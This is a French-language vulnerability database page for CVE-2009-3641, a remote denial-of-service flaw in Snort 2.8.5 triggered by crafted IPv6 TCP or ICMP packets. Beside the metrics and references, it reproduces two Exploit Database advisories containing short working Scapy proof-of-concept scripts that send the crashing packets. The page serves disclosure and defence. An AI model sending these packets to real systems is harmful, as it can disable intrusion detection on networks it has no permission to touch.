CVE-2009-3641 : Détail

CVE-2009-3641

7.97%V3
Network
2009-10-28
13h00 +00:00
2017-08-16
12h57 +00:00
CVE.org
NVD
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Descriptions du CVE

Snort before 2.8.5.1, when the -v option is enabled, allows remote attackers to cause a denial of service (application crash) via a crafted IPv6 packet that uses the (1) TCP or (2) ICMP protocol.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 4.3 AV:N/AC:M/Au:N/C:N/I:N/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 33306

Date de publication : 2009-10-21 22h00 +00:00
Auteur : laurent gaffie
EDB Vérifié : Yes

source: https://www.securityfocus.com/bid/36795/info Snort is prone to multiple denial-of-service vulnerabilities because the application fails to properly process specially crafted IPv6 packets. Attackers can exploit these issues to crash the affected application, causing denial-of-service conditions. These issues affect Snort 2.8.5; other versions may also be vulnerable. You can reproduce theses two differents bugs easily by using the Python low-level networking lib Scapy (http://www.secdev.org/projects/scapy/files/scapy-latest.zip) 1) #only works on x86 #/usr/bin/env python from scapy.all import * u = "\x92"+"\x02" * 6 send(IPv6(dst="IPv6_addr_here", nh=6)/u) #nh6 -> TCP 2) # works x86,x64 #/usr/bin/env python from scapy.all import * z = "Q" * 30 send(IPv6(dst="IPv6_ADDR_HERE",nh=1)/ICMPv6NIQueryNOOP(type=4)/z) #nh1 -> icmp (not v6)
Exploit Database EDB-ID : 9969

Date de publication : 2009-10-22 22h00 +00:00
Auteur : laurent gaffie
EDB Vérifié : Yes

============================================= - Date: October 22th, 2009 - Discovered by: Laurent Gaffi&#65533; - Severity: Low ============================================= I. VULNERABILITY ------------------------- Snort <= 2.8.5 IPV6 Remote DoS II. DESCRIPTION ------------------------- A remote DoS was present in Snort 2.8.5 when parsing some specialy IPv6 crafted packet To trigger theses bugs you need to have compiled snort with the --enable-ipv6 option, and run it in verbose mode (-v) III. PROOF OF CONCEPT ------------------------- You can reproduce theses two differents bugs easily by using the Python low-level networking lib Scapy (http://www.secdev.org/projects/scapy/files/scapy-latest.zip) 1) #only works on x86 #/usr/bin/env python from scapy.all import * u = "\x92"+"\x02" * 6 send(IPv6(dst="IPv6_addr_here", nh=6)/u) #nh6 -> TCP 2) # works x86,x64 #/usr/bin/env python from scapy.all import * z = "Q" * 30 send(IPv6(dst="IPv6_ADDR_HERE",nh=1)/ICMPv6NIQueryNOOP(type=4)/z) #nh1 -> icmp (not v6) IV. SYSTEMS AFFECTED ------------------------- Theses proof of concept as been tested on snort: - 2.8.5 V. NOT AFFECTED ------------------------- Sourcefire 3D Sensor VI. SOLUTION ------------------------- A new version correcting theses issues as been released (2.8.5.1) : http://www.snort.org/downloads VII. REFERENCES ------------------------- http://www.snort.org/ http://vrt-sourcefire.blogspot.com/ VIII. REVISION HISTORY ------------------------- October 14th, 2009: First issue discovered, advisory send to snort team. October 14th, 2009: Snort security team confirm the bug. October 16th, 2009: Second issue discovered, advisory send to snort team. October 20th, 2009: Snort security team confirm the bug. October 22th, 2009: Snort team released a new version. IX. CREDITS ------------------------- This vulnerability has been discovered by Laurent Gaffi&#65533; Laurent.gaffie{remove-this}(at)gmail.com

Products Mentioned

Configuraton 0

Snort>>Snort >> Version To (including) 2.8.3.5

Snort>>Snort >> Version 1.6

Snort>>Snort >> Version 1.8.0

Snort>>Snort >> Version 1.8.1

Snort>>Snort >> Version 1.8.2

Snort>>Snort >> Version 1.8.3

Snort>>Snort >> Version 1.8.4

Snort>>Snort >> Version 1.8.5

Snort>>Snort >> Version 1.8.6

Snort>>Snort >> Version 1.8.7

Snort>>Snort >> Version 1.9.0

Snort>>Snort >> Version 1.9.1

Snort>>Snort >> Version 2.0

Snort>>Snort >> Version 2.0

Snort>>Snort >> Version 2.6.1

Snort>>Snort >> Version 2.6.1.1

Snort>>Snort >> Version 2.6.1.2

Snort>>Snort >> Version 2.6.2

Snort>>Snort >> Version 2.7_beta1

Snort>>Snort >> Version 2.8.0

    Snort>>Snort >> Version 2.8.2.2

      Snort>>Snort >> Version 2.8.3

        Snort>>Snort >> Version 2.8.3.1

          Snort>>Snort >> Version 2.8.3.2

            Snort>>Snort >> Version 2.8.3.4

              Snort>>Snort >> Version 2.8.3.4.1

                Références

                http://www.osvdb.org/59159
                Tags : vdb-entry, x_refsource_OSVDB
                http://www.securityfocus.com/bid/36795
                Tags : vdb-entry, x_refsource_BID
                http://securitytracker.com/id?1023076
                Tags : vdb-entry, x_refsource_SECTRACK
                http://secunia.com/advisories/37135
                Tags : third-party-advisory, x_refsource_SECUNIA
                http://marc.info/?l=oss-security&m=125649553414700&w=2
                Tags : mailing-list, x_refsource_MLIST
                http://www.vupen.com/english/advisories/2009/3014
                Tags : vdb-entry, x_refsource_VUPEN
                http://www.openwall.com/lists/oss-security/2009/10/25/5
                Tags : mailing-list, x_refsource_MLIST
                http://seclists.org/fulldisclosure/2009/Oct/299
                Tags : mailing-list, x_refsource_FULLDISC